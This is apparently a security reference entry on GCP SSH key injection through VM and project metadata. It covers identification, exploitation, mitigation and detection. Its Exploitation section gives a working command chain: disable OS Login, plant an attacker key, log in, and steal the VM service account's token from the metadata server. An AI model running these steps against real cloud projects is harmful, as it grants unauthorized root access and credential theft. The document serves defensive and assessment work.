Summary
| Forestall ACL Alias | GCP_INJECT_SSH_KEY |
| GCP Alias | Compute Execution & Pipeline Pivots |
| Affected Object Types | Virtual Machines |
| Exploitation Certainty | Likely |
| Granting Roles | roles/owner, roles/editor, roles/compute.admin, roles/compute.instanceAdmin.v1, roles/compute.instanceAdmin |
Description
GCP_INJECT_SSH_KEY indicates that an identity can write instance or project metadata on a GCE VM and thereby plant its own SSH public key, obtaining an interactive shell on a machine it was never granted login access to. The relevant permissions are:
| Permission | Scope of effect |
|---|---|
compute.instances.setMetadata |
A single instance — plants a key in that VM’s ssh-keys metadata |
compute.projects.setCommonInstanceMetadata |
Every VM in the project that does not set block-project-ssh-keys=TRUE |
The guest environment agent running on each VM polls its metadata and provisions a local Linux account for any key it finds in ssh-keys, granting it sudo. Writing metadata is therefore equivalent to creating a privileged local user, and no SSH-related permission is required to do it.
When OS Login is enforced, the guest agent ignores metadata SSH keys, which appears to neutralise this edge. It does not: enable-oslogin is itself a metadata key. An identity holding setMetadata can set enable-oslogin=FALSE and restore metadata-key processing before planting its key. The control that is supposed to contain the attack is writable by the same permission the attack uses.
Relationship to GCP_SSH_TO: Both edges end in a shell on a VM. GCP_SSH_TO uses the sanctioned OS Login path with an IAM-bound identity, and is fully attributable in audit logs. GCP_INJECT_SSH_KEY fabricates a local account instead, so subsequent SSH activity is not tied to any Google identity — the only IAM-attributable event is the metadata write itself. It is the stealthier of the two, and unlike GCP_SSH_TO it does not depend on OS Login being enabled.
As with any shell on a GCE VM, the objective is usually the metadata server rather than the host. A shell yields an OAuth token for the service account attached to the instance (see GCP_RUNS_AS), so the effective privilege gained is that of the VM’s service account, which is frequently far broader than the compute role that enabled the injection.
Identification
gcloud CLI
PROJECT_ID="my-project"
# Find principals holding metadata-write rolesgcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("compute.admin|compute.instanceAdmin|roles/editor|roles/owner")) | {role: .role, members: .members}'
# Confirm a custom role carries the metadata permissionsgcloud iam roles describe ROLE_ID --project=$PROJECT_ID \ --format="value(includedPermissions)" | tr ';' '\n' | grep -E "setMetadata|setCommonInstanceMetadata"
# List VMs with the two properties that decide exploitabilitygcloud compute instances list --project=$PROJECT_ID \ --format="table(name, zone, status, serviceAccounts[0].email, metadata.items[enable-oslogin], metadata.items[block-project-ssh-keys])"
# Project-wide metadata — keys here reach every VM that does not block themgcloud compute project-info describe --project=$PROJECT_ID \ --format="value(commonInstanceMetadata.items)"
# Existing SSH keys on an instance (review for keys nobody recognises)gcloud compute instances describe VM_NAME --zone=ZONE --project=$PROJECT_ID \ --format="value(metadata.items.filter(\"key:ssh-keys\").extract(\"value\"))"A VM is exposed to project-level key injection whenever block-project-ssh-keys is absent or FALSE. A VM is exposed to instance-level injection regardless of that setting, and enable-oslogin=TRUE only mitigates it for attackers who cannot also rewrite metadata.
GCP Console
- Open GCP Console → Compute Engine → Metadata to review project-wide metadata, including any
ssh-keysentries that apply across all VMs. - Open Compute Engine → VM Instances → select an instance → Edit. The Metadata and SSH Keys sections show instance-level entries; Service accounts shows the identity a shell would inherit.
- Check IAM & Admin → IAM for
Compute Admin,Compute Instance Admin (v1),Editor, andOwnergrants. - Inspect custom roles under IAM & Admin → Roles for
compute.instances.setMetadataorcompute.projects.setCommonInstanceMetadata.
Exploitation
PROJECT_ID="my-project"VM_NAME="target-vm"ZONE="us-central1-a"
# 1. Pick a target — prefer instances with high-privilege SAs attachedgcloud compute instances list --project=$PROJECT_ID \ --format="table(name, zone, status, serviceAccounts[0].email, serviceAccounts[0].scopes)"
# 2. Generate a throwaway key pairssh-keygen -t ed25519 -f ./injected_key -N "" -C "attacker"
# 3. If OS Login is enforced, disable it first — enable-oslogin is just metadatagcloud compute instances add-metadata $VM_NAME --zone=$ZONE --project=$PROJECT_ID \ --metadata enable-oslogin=FALSE
# 4a. Inject into a single instance (compute.instances.setMetadata)echo "attacker:$(cat ./injected_key.pub)" > ./keyfile.txtgcloud compute instances add-metadata $VM_NAME --zone=$ZONE --project=$PROJECT_ID \ --metadata-from-file ssh-keys=./keyfile.txt
# 4b. Or inject project-wide (compute.projects.setCommonInstanceMetadata)# Reaches every VM without block-project-ssh-keys=TRUEgcloud compute project-info add-metadata --project=$PROJECT_ID \ --metadata-from-file ssh-keys=./keyfile.txt
# 5. Log in as the account the guest agent created for the keyEXTERNAL_IP=$(gcloud compute instances describe $VM_NAME --zone=$ZONE --project=$PROJECT_ID \ --format="value(networkInterfaces[0].accessConfigs[0].natIP)")ssh -i ./injected_key attacker@$EXTERNAL_IPWhen appending to existing keys, read the current ssh-keys value and write it back together with the new entry — add-metadata replaces the whole key, so overwriting it removes legitimate access and is likely to be noticed.
With a shell established, harvest the attached service account’s token:
curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
curl -s -H "Metadata-Flavor: Google" \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"The token is usable against Google APIs from anywhere until it expires:
TOKEN="ya29...."curl -s -H "Authorization: Bearer $TOKEN" \ "https://cloudresourcemanager.googleapis.com/v1/projects" | jq '.projects[].projectId'If no external IP is present, the same session is available through an IAP tunnel with roles/iap.tunnelResourceAccessor:
gcloud compute ssh attacker@$VM_NAME --zone=$ZONE --project=$PROJECT_ID \ --tunnel-through-iap --ssh-key-file=./injected_keyMitigation
- Enforce OS Login with an organization policy — apply the
compute.requireOsLoginconstraint at org or folder scope. Set as an org policy it cannot be undone by a metadata write, which is what makes it effective; instance metadata alone is not a sufficient control. - Set
block-project-ssh-keys=TRUEon every VM so project-wide metadata keys cannot reach it, and enforce this at provisioning time rather than retrospectively. - Treat
roles/compute.instanceAdmin.v1,roles/editor, androles/owneras shell-on-every-VM roles. Do not grant them for routine compute operations; prefer narrowly scoped custom roles that excludecompute.instances.setMetadataandcompute.projects.setCommonInstanceMetadata. - Audit custom roles for the metadata permissions — either permission is equivalent to root SSH on the instances in scope, and neither is obvious from a role’s name.
- Attach minimal-privilege service accounts to VMs and never the default Compute Engine service account with broad scopes. This caps the value of any shell obtained this way.
- Block metadata server access from workloads that do not need it.
- Restrict
roles/iap.tunnelResourceAccessor, which removes network reachability as a barrier.
Detection
The metadata write is the one reliably attributable moment in this attack — SSH activity afterwards belongs to a local account with no Google identity behind it. Detection should centre on the write.
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | v1.compute.instances.setMetadata |
Instance-level metadata write — inspect for ssh-keys, enable-oslogin |
| Admin Activity | v1.compute.projects.setCommonInstanceMetadata |
Project-wide metadata write — affects all unprotected VMs |
| Admin Activity | v1.compute.instances.insert |
New VM created without block-project-ssh-keys=TRUE |
| Admin Activity | SetIamPolicy |
New compute.instanceAdmin*, compute.admin, editor, or owner bindings |
PROJECT_ID="management-project-486413"
# Metadata writes at instance and project scopegcloud logging read \ 'protoPayload.methodName=~"compute.instances.setMetadata|compute.projects.setCommonInstanceMetadata"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"
# New grants of metadata-write rolesgcloud logging read \ 'protoPayload.methodName="SetIamPolicy" AND protoPayload.serviceData.policyDelta.bindingDeltas.role=~"compute.instanceAdmin|compute.admin|roles/editor|roles/owner"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"Alert on:
- Any write of
ssh-keysmetadata, at instance or project scope, by a principal that is not the expected provisioning pipeline. enable-osloginbeing set toFALSE— legitimate operations rarely disable OS Login, and doing so is a strong precursor to key injection.- Project-wide
setCommonInstanceMetadatacalls, which affect every VM withoutblock-project-ssh-keys=TRUEat once. - SSH logins by local Linux accounts that do not correspond to any OS Login identity.
- Metadata server token requests from a VM shortly after a metadata write to that same instance.
- VMs created without
block-project-ssh-keys=TRUE, which enlarges the project-wide injection surface.